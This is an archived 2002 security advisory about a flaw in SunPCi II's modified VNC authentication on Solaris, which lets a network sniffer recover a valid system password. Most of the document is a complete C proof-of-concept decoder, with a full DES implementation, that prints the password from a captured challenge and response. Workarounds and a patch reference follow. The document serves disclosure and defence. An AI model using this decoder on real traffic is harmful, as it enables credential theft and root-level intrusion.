TUCoPS :: SunOS/Solaris :: sun5509.htm

SunPCi II VNC authentication scheme attack
4th Jul 2002 [SBWID-5509]
COMMAND

	SunPCi II VNC authentication scheme attack

SYSTEMS AFFECTED

	 Solaris 2.6, 7, 8 Sparc PCI Platfroms using SunPCi 2.3

	 Sun package SUNWspvnc version 1.0

	

PROBLEM

	In Richard van den  Berg  [richard@trust-factory.com]  of  trust-factory
	advisory [http://www.trust-factory.com/TF20020601.html] :
	

	SunPCi II is a PCI  daughterboard  for  Sun  Sparc  systems  capable  of
	running Microsoft Windows OS and applications  using  an  Intel  Celeron
	processor. Starting with version 2.3  of  the  SunPCi  II  drivers,  Sun
	ships a modified copy of AT&T\'s  Virtual  Network  Computing  (VNC)
	client and  server.  One  of  the  modifications  is  the  authorization
	process between VNC  client  and  VNC  server.  The  new  authentication
	scheme enables an attacker to discover the  VNC  password  (which  is  a
	valid Solaris password) just by sniffing the network between VNC  client
	and VNC server. Once the password is discovered, the attacker  can  gain
	access to the system using VNC or other protocols. By  default  the  VNC
	server is running an X desktop as root.
	

	The readme of the supplied source  code  of  the  altered  VNC  software
	mentions:
	

	--------------------------Start Quote--------------------------------
	

	The original authorization code worked as follows:

	    Server-> password was read/decrypted from file

	    Server-> sent random bytes to client

	    Client-> get password from user

	    Client-> reads random bytes from server

	    Client-> encrypt random bytes with password

	    Client-> write encrypted random bytes to server

	    Server-> reads encrypted random bytes

	    Server-> encrypts original random bytes using password from file

	    Server-> compares encrypted random bytes

	

	The new authorization code works as follows:

	    Server-> sent random bytes to client

	    Client-> get password from user

	    Client-> reads random bytes from server

	    Client-> encrypt password with random bytes as key

	    Client-> write encrypted password to server

	    Server-> reads encrypted password

	    Server-> decrypts encrypted password using random bytes as key

	    Server-> gets password of current user from system

	    Server-> encrypts password using user password as salt

	    Server-> compares encrypted passwords

	

	----------------------------End Quote---------------------------------
	

	Since the encryption used by VNC is the well known DES, it  is  easy  to
	see how this change of code weakens the security significantly.  In  the
	original scheme it is difficult to reverse the encyption since  the  key
	is an unknown password. (An  attacker  would  need  to  break  into  the
	system first and read it from the file mentioned in the first step.)  In
	the new code, the key used  for  encryption  is  the  readily  available
	challange (\"random bytes\") sent by the server.
	

	Although encryption is being used, the way it is applied  does  not  add
	any security to sending the password over the wire in  plain  text.  The
	original VNC method is much more secure.
	

	

	 Proof of concept

	 ================

	

	

	/* real quick SunPCi VNC password decoder */

	/* tested on Linux and Solaris; no warranties */

	/* all code is ripped, therefore I take no credit */

	

	#include <stdio.h>

	#include <stdlib.h>

	#include <string.h>

	#include <time.h>

	#include <sys/types.h>

	#include <sys/stat.h>

	

	#define MAXPWLEN 8

	#define CHALLENGESIZE 16

	#define EN0     0       /* MODE == encrypt */

	#define DE1     1       /* MODE == decrypt */

	

	extern int vncEncryptPasswd(char *passwd, char *fname);

	extern char *vncDecryptPasswd(char *fname, unsigned char *key);

	extern void vncRandomBytes(unsigned char *bytes);

	extern void vncEncryptBytes(unsigned char *bytes, const char *passwd);

	extern void deskey(unsigned char *, int);

	extern void usekey(unsigned long *);

	extern void cpkey(unsigned long *);

	extern void des(unsigned char *, unsigned char *);

	

	

	int main (void){

	

	/* put the first 8 bytes of your sniffed challenge here in challenge[] */

	unsigned char challenge[] = {0x87,0x5d,0x28,0xf3,0x54,0x2d,0xa9,0xe8};

	/* put the first 8 bytes of your sniffed response here in response[] */

	char response[]={0x0d, 0xfc, 0xc6, 0xfc, 0x62, 0xc2, 0x18, 0x0e};

	

	printf(\"%s\\n\",vncDecryptPasswd(response,challenge));

	exit(0);

	}

	

	

	char *

	vncDecryptPasswd(char *inouttext, unsigned char *key)

	{

	    unsigned char *passwd = (unsigned char *)malloc(9);

	

	    deskey(key, DE1);

	    des(inouttext, passwd);

	

	    passwd[8] = 0;

	

	    return (char *)passwd;

	}

	

	

	static void scrunch(unsigned char *, unsigned long *);

	static void unscrun(unsigned long *, unsigned char *);

	static void desfunc(unsigned long *, unsigned long *);

	static void cookey(unsigned long *);

	

	static unsigned long KnL[32] = { 0L };

	static unsigned long KnR[32] = { 0L };

	static unsigned long Kn3[32] = { 0L };

	static unsigned char Df_Key[24] = {

		0x01,0x23,0x45,0x67,0x89,0xab,0xcd,0xef,

		0xfe,0xdc,0xba,0x98,0x76,0x54,0x32,0x10,

		0x89,0xab,0xcd,0xef,0x01,0x23,0x45,0x67 };

	

	static unsigned short bytebit[8]	= {

		01, 02, 04, 010, 020, 040, 0100, 0200 };

	

	static unsigned long bigbyte[24] = {

		0x800000L,	0x400000L,	0x200000L,	0x100000L,

		0x80000L,	0x40000L,	0x20000L,	0x10000L,

		0x8000L,	0x4000L,	0x2000L,	0x1000L,

		0x800L, 	0x400L, 	0x200L, 	0x100L,

		0x80L,		0x40L,		0x20L,		0x10L,

		0x8L,		0x4L,		0x2L,		0x1L	};

	

	/* Use the key schedule specified in the Standard (ANSI X3.92-1981). */

	

	static unsigned char pc1[56] = {

		56, 48, 40, 32, 24, 16,  8,	 0, 57, 49, 41, 33, 25, 17,

		 9,  1, 58, 50, 42, 34, 26,	18, 10,  2, 59, 51, 43, 35,

		62, 54, 46, 38, 30, 22, 14,	 6, 61, 53, 45, 37, 29, 21,

		13,  5, 60, 52, 44, 36, 28,	20, 12,  4, 27, 19, 11,  3 };

	

	static unsigned char totrot[16] = {

		1,2,4,6,8,10,12,14,15,17,19,21,23,25,27,28 };

	

	static unsigned char pc2[48] = {

		13, 16, 10, 23,  0,  4,  2, 27, 14,  5, 20,  9,

		22, 18, 11,  3, 25,  7, 15,  6, 26, 19, 12,  1,

		40, 51, 30, 36, 46, 54, 29, 39, 50, 44, 32, 47,

		43, 48, 38, 55, 33, 52, 45, 41, 49, 35, 28, 31 };

	

	void deskey(key, edf)	/* Thanks to James Gillogly & Phil Karn! */

	unsigned char *key;

	int edf;

	{

		register int i, j, l, m, n;

		unsigned char pc1m[56], pcr[56];

		unsigned long kn[32];

	

		for ( j = 0; j < 56; j++ ) {

			l = pc1[j];

			m = l & 07;

			pc1m[j] = (key[l >> 3] & bytebit[m]) ? 1 : 0;

			}

		for( i = 0; i < 16; i++ ) {

			if( edf == DE1 ) m = (15 - i) << 1;

			else m = i << 1;

			n = m + 1;

			kn[m] = kn[n] = 0L;

			for( j = 0; j < 28; j++ ) {

				l = j + totrot[i];

				if( l < 28 ) pcr[j] = pc1m[l];

				else pcr[j] = pc1m[l - 28];

				}

			for( j = 28; j < 56; j++ ) {

			    l = j + totrot[i];

			    if( l < 56 ) pcr[j] = pc1m[l];

			    else pcr[j] = pc1m[l - 28];

			    }

			for( j = 0; j < 24; j++ ) {

				if( pcr[pc2[j]] ) kn[m] |= bigbyte[j];

				if( pcr[pc2[j+24]] ) kn[n] |= bigbyte[j];

				}

			}

		cookey(kn);

		return;

		}

	

	static void cookey(raw1)

	register unsigned long *raw1;

	{

		register unsigned long *cook, *raw0;

		unsigned long dough[32];

		register int i;

	

		cook = dough;

		for( i = 0; i < 16; i++, raw1++ ) {

			raw0 = raw1++;

			*cook	 = (*raw0 & 0x00fc0000L) << 6;

			*cook	|= (*raw0 & 0x00000fc0L) << 10;

			*cook	|= (*raw1 & 0x00fc0000L) >> 10;

			*cook++ |= (*raw1 & 0x00000fc0L) >> 6;

			*cook	 = (*raw0 & 0x0003f000L) << 12;

			*cook	|= (*raw0 & 0x0000003fL) << 16;

			*cook	|= (*raw1 & 0x0003f000L) >> 4;

			*cook++ |= (*raw1 & 0x0000003fL);

			}

		usekey(dough);

		return;

		}

	

	void cpkey(into)

	register unsigned long *into;

	{

		register unsigned long *from, *endp;

	

		from = KnL, endp = &KnL[32];

		while( from < endp ) *into++ = *from++;

		return;

		}

	

	void usekey(from)

	register unsigned long *from;

	{

		register unsigned long *to, *endp;

	

		to = KnL, endp = &KnL[32];

		while( to < endp ) *to++ = *from++;

		return;

		}

	

	void des(inblock, outblock)

	unsigned char *inblock, *outblock;

	{

		unsigned long work[2];

	

		scrunch(inblock, work);

		desfunc(work, KnL);

		unscrun(work, outblock);

		return;

		}

	

	static void scrunch(outof, into)

	register unsigned char *outof;

	register unsigned long *into;

	{

		*into	 = (*outof++ & 0xffL) << 24;

		*into	|= (*outof++ & 0xffL) << 16;

		*into	|= (*outof++ & 0xffL) << 8;

		*into++ |= (*outof++ & 0xffL);

		*into	 = (*outof++ & 0xffL) << 24;

		*into	|= (*outof++ & 0xffL) << 16;

		*into	|= (*outof++ & 0xffL) << 8;

		*into	|= (*outof   & 0xffL);

		return;

		}

	

	static void unscrun(outof, into)

	register unsigned long *outof;

	register unsigned char *into;

	{

		*into++ = (*outof >> 24) & 0xffL;

		*into++ = (*outof >> 16) & 0xffL;

		*into++ = (*outof >>  8) & 0xffL;

		*into++ =  *outof++	 & 0xffL;

		*into++ = (*outof >> 24) & 0xffL;

		*into++ = (*outof >> 16) & 0xffL;

		*into++ = (*outof >>  8) & 0xffL;

		*into	=  *outof	 & 0xffL;

		return;

		}

	

	static unsigned long SP1[64] = {

		0x01010400L, 0x00000000L, 0x00010000L, 0x01010404L,

		0x01010004L, 0x00010404L, 0x00000004L, 0x00010000L,

		0x00000400L, 0x01010400L, 0x01010404L, 0x00000400L,

		0x01000404L, 0x01010004L, 0x01000000L, 0x00000004L,

		0x00000404L, 0x01000400L, 0x01000400L, 0x00010400L,

		0x00010400L, 0x01010000L, 0x01010000L, 0x01000404L,

		0x00010004L, 0x01000004L, 0x01000004L, 0x00010004L,

		0x00000000L, 0x00000404L, 0x00010404L, 0x01000000L,

		0x00010000L, 0x01010404L, 0x00000004L, 0x01010000L,

		0x01010400L, 0x01000000L, 0x01000000L, 0x00000400L,

		0x01010004L, 0x00010000L, 0x00010400L, 0x01000004L,

		0x00000400L, 0x00000004L, 0x01000404L, 0x00010404L,

		0x01010404L, 0x00010004L, 0x01010000L, 0x01000404L,

		0x01000004L, 0x00000404L, 0x00010404L, 0x01010400L,

		0x00000404L, 0x01000400L, 0x01000400L, 0x00000000L,

		0x00010004L, 0x00010400L, 0x00000000L, 0x01010004L };

	

	static unsigned long SP2[64] = {

		0x80108020L, 0x80008000L, 0x00008000L, 0x00108020L,

		0x00100000L, 0x00000020L, 0x80100020L, 0x80008020L,

		0x80000020L, 0x80108020L, 0x80108000L, 0x80000000L,

		0x80008000L, 0x00100000L, 0x00000020L, 0x80100020L,

		0x00108000L, 0x00100020L, 0x80008020L, 0x00000000L,

		0x80000000L, 0x00008000L, 0x00108020L, 0x80100000L,

		0x00100020L, 0x80000020L, 0x00000000L, 0x00108000L,

		0x00008020L, 0x80108000L, 0x80100000L, 0x00008020L,

		0x00000000L, 0x00108020L, 0x80100020L, 0x00100000L,

		0x80008020L, 0x80100000L, 0x80108000L, 0x00008000L,

		0x80100000L, 0x80008000L, 0x00000020L, 0x80108020L,

		0x00108020L, 0x00000020L, 0x00008000L, 0x80000000L,

		0x00008020L, 0x80108000L, 0x00100000L, 0x80000020L,

		0x00100020L, 0x80008020L, 0x80000020L, 0x00100020L,

		0x00108000L, 0x00000000L, 0x80008000L, 0x00008020L,

		0x80000000L, 0x80100020L, 0x80108020L, 0x00108000L };

	

	static unsigned long SP3[64] = {

		0x00000208L, 0x08020200L, 0x00000000L, 0x08020008L,

		0x08000200L, 0x00000000L, 0x00020208L, 0x08000200L,

		0x00020008L, 0x08000008L, 0x08000008L, 0x00020000L,

		0x08020208L, 0x00020008L, 0x08020000L, 0x00000208L,

		0x08000000L, 0x00000008L, 0x08020200L, 0x00000200L,

		0x00020200L, 0x08020000L, 0x08020008L, 0x00020208L,

		0x08000208L, 0x00020200L, 0x00020000L, 0x08000208L,

		0x00000008L, 0x08020208L, 0x00000200L, 0x08000000L,

		0x08020200L, 0x08000000L, 0x00020008L, 0x00000208L,

		0x00020000L, 0x08020200L, 0x08000200L, 0x00000000L,

		0x00000200L, 0x00020008L, 0x08020208L, 0x08000200L,

		0x08000008L, 0x00000200L, 0x00000000L, 0x08020008L,

		0x08000208L, 0x00020000L, 0x08000000L, 0x08020208L,

		0x00000008L, 0x00020208L, 0x00020200L, 0x08000008L,

		0x08020000L, 0x08000208L, 0x00000208L, 0x08020000L,

		0x00020208L, 0x00000008L, 0x08020008L, 0x00020200L };

	

	static unsigned long SP4[64] = {

		0x00802001L, 0x00002081L, 0x00002081L, 0x00000080L,

		0x00802080L, 0x00800081L, 0x00800001L, 0x00002001L,

		0x00000000L, 0x00802000L, 0x00802000L, 0x00802081L,

		0x00000081L, 0x00000000L, 0x00800080L, 0x00800001L,

		0x00000001L, 0x00002000L, 0x00800000L, 0x00802001L,

		0x00000080L, 0x00800000L, 0x00002001L, 0x00002080L,

		0x00800081L, 0x00000001L, 0x00002080L, 0x00800080L,

		0x00002000L, 0x00802080L, 0x00802081L, 0x00000081L,

		0x00800080L, 0x00800001L, 0x00802000L, 0x00802081L,

		0x00000081L, 0x00000000L, 0x00000000L, 0x00802000L,

		0x00002080L, 0x00800080L, 0x00800081L, 0x00000001L,

		0x00802001L, 0x00002081L, 0x00002081L, 0x00000080L,

		0x00802081L, 0x00000081L, 0x00000001L, 0x00002000L,

		0x00800001L, 0x00002001L, 0x00802080L, 0x00800081L,

		0x00002001L, 0x00002080L, 0x00800000L, 0x00802001L,

		0x00000080L, 0x00800000L, 0x00002000L, 0x00802080L };

	

	static unsigned long SP5[64] = {

		0x00000100L, 0x02080100L, 0x02080000L, 0x42000100L,

		0x00080000L, 0x00000100L, 0x40000000L, 0x02080000L,

		0x40080100L, 0x00080000L, 0x02000100L, 0x40080100L,

		0x42000100L, 0x42080000L, 0x00080100L, 0x40000000L,

		0x02000000L, 0x40080000L, 0x40080000L, 0x00000000L,

		0x40000100L, 0x42080100L, 0x42080100L, 0x02000100L,

		0x42080000L, 0x40000100L, 0x00000000L, 0x42000000L,

		0x02080100L, 0x02000000L, 0x42000000L, 0x00080100L,

		0x00080000L, 0x42000100L, 0x00000100L, 0x02000000L,

		0x40000000L, 0x02080000L, 0x42000100L, 0x40080100L,

		0x02000100L, 0x40000000L, 0x42080000L, 0x02080100L,

		0x40080100L, 0x00000100L, 0x02000000L, 0x42080000L,

		0x42080100L, 0x00080100L, 0x42000000L, 0x42080100L,

		0x02080000L, 0x00000000L, 0x40080000L, 0x42000000L,

		0x00080100L, 0x02000100L, 0x40000100L, 0x00080000L,

		0x00000000L, 0x40080000L, 0x02080100L, 0x40000100L };

	

	static unsigned long SP6[64] = {

		0x20000010L, 0x20400000L, 0x00004000L, 0x20404010L,

		0x20400000L, 0x00000010L, 0x20404010L, 0x00400000L,

		0x20004000L, 0x00404010L, 0x00400000L, 0x20000010L,

		0x00400010L, 0x20004000L, 0x20000000L, 0x00004010L,

		0x00000000L, 0x00400010L, 0x20004010L, 0x00004000L,

		0x00404000L, 0x20004010L, 0x00000010L, 0x20400010L,

		0x20400010L, 0x00000000L, 0x00404010L, 0x20404000L,

		0x00004010L, 0x00404000L, 0x20404000L, 0x20000000L,

		0x20004000L, 0x00000010L, 0x20400010L, 0x00404000L,

		0x20404010L, 0x00400000L, 0x00004010L, 0x20000010L,

		0x00400000L, 0x20004000L, 0x20000000L, 0x00004010L,

		0x20000010L, 0x20404010L, 0x00404000L, 0x20400000L,

		0x00404010L, 0x20404000L, 0x00000000L, 0x20400010L,

		0x00000010L, 0x00004000L, 0x20400000L, 0x00404010L,

		0x00004000L, 0x00400010L, 0x20004010L, 0x00000000L,

		0x20404000L, 0x20000000L, 0x00400010L, 0x20004010L };

	

	static unsigned long SP7[64] = {

		0x00200000L, 0x04200002L, 0x04000802L, 0x00000000L,

		0x00000800L, 0x04000802L, 0x00200802L, 0x04200800L,

		0x04200802L, 0x00200000L, 0x00000000L, 0x04000002L,

		0x00000002L, 0x04000000L, 0x04200002L, 0x00000802L,

		0x04000800L, 0x00200802L, 0x00200002L, 0x04000800L,

		0x04000002L, 0x04200000L, 0x04200800L, 0x00200002L,

		0x04200000L, 0x00000800L, 0x00000802L, 0x04200802L,

		0x00200800L, 0x00000002L, 0x04000000L, 0x00200800L,

		0x04000000L, 0x00200800L, 0x00200000L, 0x04000802L,

		0x04000802L, 0x04200002L, 0x04200002L, 0x00000002L,

		0x00200002L, 0x04000000L, 0x04000800L, 0x00200000L,

		0x04200800L, 0x00000802L, 0x00200802L, 0x04200800L,

		0x00000802L, 0x04000002L, 0x04200802L, 0x04200000L,

		0x00200800L, 0x00000000L, 0x00000002L, 0x04200802L,

		0x00000000L, 0x00200802L, 0x04200000L, 0x00000800L,

		0x04000002L, 0x04000800L, 0x00000800L, 0x00200002L };

	

	static unsigned long SP8[64] = {

		0x10001040L, 0x00001000L, 0x00040000L, 0x10041040L,

		0x10000000L, 0x10001040L, 0x00000040L, 0x10000000L,

		0x00040040L, 0x10040000L, 0x10041040L, 0x00041000L,

		0x10041000L, 0x00041040L, 0x00001000L, 0x00000040L,

		0x10040000L, 0x10000040L, 0x10001000L, 0x00001040L,

		0x00041000L, 0x00040040L, 0x10040040L, 0x10041000L,

		0x00001040L, 0x00000000L, 0x00000000L, 0x10040040L,

		0x10000040L, 0x10001000L, 0x00041040L, 0x00040000L,

		0x00041040L, 0x00040000L, 0x10041000L, 0x00001000L,

		0x00000040L, 0x10040040L, 0x00001000L, 0x00041040L,

		0x10001000L, 0x00000040L, 0x10000040L, 0x10040000L,

		0x10040040L, 0x10000000L, 0x00040000L, 0x10001040L,

		0x00000000L, 0x10041040L, 0x00040040L, 0x10000040L,

		0x10040000L, 0x10001000L, 0x10001040L, 0x00000000L,

		0x10041040L, 0x00041000L, 0x00041000L, 0x00001040L,

		0x00001040L, 0x00040040L, 0x10000000L, 0x10041000L };

	

	static void desfunc(block, keys)

	register unsigned long *block, *keys;

	{

		register unsigned long fval, work, right, leftt;

		register int round;

	

		leftt = block[0];

		right = block[1];

		work = ((leftt >> 4) ^ right) & 0x0f0f0f0fL;

		right ^= work;

		leftt ^= (work << 4);

		work = ((leftt >> 16) ^ right) & 0x0000ffffL;

		right ^= work;

		leftt ^= (work << 16);

		work = ((right >> 2) ^ leftt) & 0x33333333L;

		leftt ^= work;

		right ^= (work << 2);

		work = ((right >> 8) ^ leftt) & 0x00ff00ffL;

		leftt ^= work;

		right ^= (work << 8);

		right = ((right << 1) | ((right >> 31) & 1L)) & 0xffffffffL;

		work = (leftt ^ right) & 0xaaaaaaaaL;

		leftt ^= work;

		right ^= work;

		leftt = ((leftt << 1) | ((leftt >> 31) & 1L)) & 0xffffffffL;

	

		for( round = 0; round < 8; round++ ) {

			work  = (right << 28) | (right >> 4);

			work ^= *keys++;

			fval  = SP7[ work		 & 0x3fL];

			fval |= SP5[(work >>  8) & 0x3fL];

			fval |= SP3[(work >> 16) & 0x3fL];

			fval |= SP1[(work >> 24) & 0x3fL];

			work  = right ^ *keys++;

			fval |= SP8[ work		 & 0x3fL];

			fval |= SP6[(work >>  8) & 0x3fL];

			fval |= SP4[(work >> 16) & 0x3fL];

			fval |= SP2[(work >> 24) & 0x3fL];

			leftt ^= fval;

			work  = (leftt << 28) | (leftt >> 4);

			work ^= *keys++;

			fval  = SP7[ work		 & 0x3fL];

			fval |= SP5[(work >>  8) & 0x3fL];

			fval |= SP3[(work >> 16) & 0x3fL];

			fval |= SP1[(work >> 24) & 0x3fL];

			work  = leftt ^ *keys++;

			fval |= SP8[ work		 & 0x3fL];

			fval |= SP6[(work >>  8) & 0x3fL];

			fval |= SP4[(work >> 16) & 0x3fL];

			fval |= SP2[(work >> 24) & 0x3fL];

			right ^= fval;

			}

	

		right = (right << 31) | (right >> 1);

		work = (leftt ^ right) & 0xaaaaaaaaL;

		leftt ^= work;

		right ^= work;

		leftt = (leftt << 31) | (leftt >> 1);

		work = ((leftt >> 8) ^ right) & 0x00ff00ffL;

		right ^= work;

		leftt ^= (work << 8);

		work = ((leftt >> 2) ^ right) & 0x33333333L;

		right ^= work;

		leftt ^= (work << 2);

		work = ((right >> 16) ^ leftt) & 0x0000ffffL;

		leftt ^= work;

		right ^= (work << 16);

		work = ((right >> 4) ^ leftt) & 0x0f0f0f0fL;

		leftt ^= work;

		right ^= (work << 4);

		*block++ = right;

		*block = leftt;

		return;

		}

	

SOLUTION

	 Workarounds (pick at least one)

	 ===========

	

	 a) Do not use the VNC software supplied by the SUNWspvnc package.

	 b) Replace the modified VNC software with the original VNC package

	 c) Only use the modified VNC software over a secure channel (i.e. ssh)

	

	 Patch

	 =====

	

	See Sunsolve Bug ID: 4698566

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH